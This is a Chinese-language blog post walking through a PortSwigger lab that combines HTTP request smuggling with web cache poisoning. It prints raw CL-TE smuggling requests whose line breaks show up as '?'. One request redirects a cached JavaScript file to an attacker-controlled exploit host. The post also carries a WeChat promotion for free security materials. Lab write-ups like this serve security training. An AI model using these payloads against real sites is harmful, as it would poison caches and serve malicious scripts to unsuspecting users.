當http請求走私和web快取碰到一起會產生什么樣的火花呢,讓我們看看,
在接觸Http Sumggling 快取漏洞前,我們需要先對Http Sumggling和Web快取有所了解,
什么是Web快取
WEB快取就是指網站的靜態檔案,比如圖片、CSS、JS等,在網站訪問的時候,服務器會將這些檔案快取起來,以便下次訪問時直接從快取中讀取,不需要再次請求服務器,
快取位于服務器和客戶端之間,通常出于優化用戶瀏覽體驗或其他原因以減少對服務器的訪問而設定的在固定時間內保存且針對特定請求的回應,常見的快取點有:
后端程式快取
服務器快取
瀏覽器快取
快取服務器
CDN快取
最常見的無疑就是CDN及其類似的快取服務器,
而為了讓快取判斷是否需要提供快取內容,在http請求中會存在快取鍵 X-Cache,快取鍵叫什么決定于架構師,但都是一個概念,
什么是web快取漏洞
如上圖所示,假設小紫小黃小綠都在服務器劃分的同一批特定請求中,那么小紫一開始訪問服務器時,經過快取鍵X-Cache: Miss的判定,是首次訪問,所以直接連接到Server服務器,而其后的小黃、小綠再次訪問相同的檔案時就會被判定為X-Cache: Hit,即只需連接Cache快取服務器,不再連接到Server服務器,借此減少了Server服務器的運行負荷,
這無疑是一個很不錯的設計,但一旦被有心之士利用,那就會發生一些不好的事情了,
如圖,當攻擊者改了一些包發送到后端,導致后端回傳一些惡意資料,比如xss、注入等問題,而由于快取的機制,后續的正常用戶訪問時就會讀取快取服務器的惡意快取,這就是常見的web快取漏洞,也叫快取投毒,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
Http Sumggling
HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式的技術,其漏洞的主要形成原因是不同的服務器對于RFC標準的具體實作不一而導致的,
一般可分為以下幾種:
CL: Content-Length
TE: Transfer-Encoding
-
CL不為0的GET請求
-
CL-CL
-
CL-TE
-
TE-CL
-
TE-TE
在mengchen@知道創宇404實驗室的文章中有了十分詳細的論述,我這就不再贅述,
https://paper.seebug.org/1048/#35-te-te
Http Sumggling 快取漏洞
靶場
依舊以Lab: Exploiting HTTP request smuggling to perform web cache poisoning為靶場,
解法
判斷是否存在走私,確定為CL-TE,
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked ? 0 ? GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 ? x=1
第一次請求為:
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked?
第二次請求為下半段:
GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 ? x=1
可以看到存在302跳轉,
然后我們需要找到哪里進行快取攻擊,這里我以/resources/js/tracking.js進行攻擊,
可以看到X-Cache為miss,這樣我們就可以利用修改,進行快取攻擊,
-
先點擊send post包
POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked ? 0 ? GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 ? x=1
訪問到第一部分:
-
然后在
/resources/js/tracking.jssend包:可以發現成功攻擊,快取鍵為
miss,那下一個包應該就可以成功轉接到exploit上,我們試試, -
對原界面進行抓包,多抓幾次,
發現host成功變為我們的exploit,
后言
漏洞越來越多,也會越來越復雜,不再是單一的某種漏洞這么簡單,多種漏洞復合是未來標志,
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/500972.html
標籤:其他
上一篇:企業應當實施的5個云安全管理策略
